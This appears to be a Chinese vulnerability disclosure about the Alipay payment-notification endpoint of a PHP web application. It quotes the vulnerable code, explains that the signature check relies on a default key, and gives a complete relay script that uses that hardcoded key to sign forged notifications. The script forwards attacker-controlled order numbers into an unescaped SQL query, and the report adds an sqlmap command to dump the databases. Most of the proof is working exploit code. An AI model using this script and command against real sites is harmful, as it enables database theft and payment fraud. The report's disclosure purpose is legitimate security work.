### 简要描述:
### 详细说明:
api/alipaydual/notify_url.php
require_once("alipay.config.php");
require_once("lib/alipay_notify.class.php");
require_once(dirname(dirname(dirname(__FILE__)))."/data/db.config.php");
require_once(dirname(dirname(dirname(__FILE__)))."/include/mysql.class.php");
$db = new mysql($db_config['dbhost'], $db_config['dbuser'], $db_config['dbpass'], $db_config['dbname'], ALL_PS, $db_config['charset']);
//计算得出通知验证结果
$alipayNotify = new AlipayNotify($aliapy_config);
$verify_result = $alipayNotify->verifyNotify();//有一处验证 验证可以绕过
if($verify_result) {//验证成功
echo 222;/
//请在这里加上商户的业务逻辑程序代
//——请根据您的业务逻辑来编写程序(以下代码仅作参考)——
//获取支付宝的通知返回参数,可参考技术文档中服务器异步通知参数列表
$out_trade_no= $_POST['out_trade_no']; //获取订单号
$trade_no= $_POST['trade_no']; //获取支付宝交易号
$total= $_POST['price'];//获取总价格
$sql=$db->query("select * from `".$db_config["def"]."company_order` where `order_id`='$out_trade_no'");//这里进行了注入
echo "select * from `".$db_config["def"]."company_order` where `order_id`='$out_trade_no'";
$row=mysql_fetch_array($sql);
$sOld_trade_status = $row['order_state'];
if($_POST['trade_status'] == 'WAIT_BUYER_PAY') {
验证代码:
function verifyNotify(){
if(empty($_POST)) {//判断POST来的数组是否为空
return false;
}
else {
//生成签名结果
$mysign = $this->getMysign($_POST);//这里会产生一个KEY 我们跟一下
echo $mysign."||";
function getMysign($para_temp) {
//除去待签名参数数组中的空值和签名参数
$para_filter = paraFilter($para_temp);
//对待签名参数数组排序
$para_sort = argSort($para_filter);
//生成签名结果
echo trim($this->aliapy_config['key'])."::". strtoupper(trim($this->aliapy_config['sign_type'])).":x:";
$mysign = buildMysign($para_sort, trim($this->aliapy_config['key']), strtoupper(trim($this->aliapy_config['sign_type'])));//可以看到这里有利用一个KEY 进行加密 这个KEY是有默认值的 我们可以构造一个中转来生产一个KEY进行注入!
return $mysign;
}
### 漏洞证明:
中转程序如下
================================================================================
function paraFilter($para) {
$para_filter = array();
while (list ($key, $val) = each ($para)) {
if($key == "sign" || $key == "sign_type" || $val == "")continue;
else$para_filter[$key] = $para[$key];
}
return $para_filter;
}
function argSort($para) {
ksort($para);
reset($para);
return $para;
}
function createLinkstring($para) {
$arg = "";
while (list ($key, $val) = each ($para)) {
$arg.=$key."=".$val."&";
}
//去掉最后一个&字符
$arg = substr($arg,0,count($arg)-2);
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){$arg = stripslashes($arg);}
return $arg;
}
function sign($prestr,$sign_type='MD5') {
$sign='';
if($sign_type == 'MD5') {
$sign = md5($prestr);
}elseif($sign_type =='DSA') {
//DSA 签名方法待后续开发
die("DSA 签名方法待后续开发,请先使用MD5签名方式");
}else {
die("支付宝暂不支持".$sign_type."类型的签名方式");
}
return $sign;
}
function buildMysign($sort_para,$key,$sign_type = "MD5") {
//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key;
//把最终的字符串签名,获得签名结果
$mysgin = sign($prestr,$sign_type);
return $mysgin;
}
function getMysign($para_temp) {
//除去待签名参数数组中的空值和签名参数
$para_filter = paraFilter($para_temp);
//对待签名参数数组排序
$para_sort = argSort($para_filter);
//生成签名结果
$mysign = buildMysign($para_sort, 'jbjwjnu6zhax0eewc3vfiqldvrg8rnfz', 'MD5');
return $mysign;
}
$hash=getMysign($_POST);
$host="127.0.0.1";//这里设置下host!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$data="sign={$hash}&out_trade_no={$_POST[out_trade_no]}";
$username=rawurlencode(stripslashes($_GET['username']));
$message = "POST /yun/api/alipaydual/notify_url.php HTTP/1.1\r\n";//这里记得修改路径!!!!!!!!!!!!!!!!!!!!
$message .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij\r\n";
$message .= "Host: {$host}\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Connection: close\r\n";
$message .= "\r\n";
$message .=$data;
//echo $message;
//file_put_contents('2.txt',$message,FILE_APPEND);
//print $message;
//exit();
$ock=fsockopen($host,80);
if (!$ock) {
echo 'No response from xx!';
//die;
return '';
}
fputs($ock,$message);
while ($ock && !feof($ock))
$resp .= fread($ock, 1024);
echo $resp;
?>
测试方式
sqlmap.py -u "http://127.0.0.1/x.php" --data="out_trade_no=1" --dbs
就可以了
[](https://images.seebug.org/upload/201311/21201216df9a9f8d92c8e7274ceb6fde0cff1f21.png)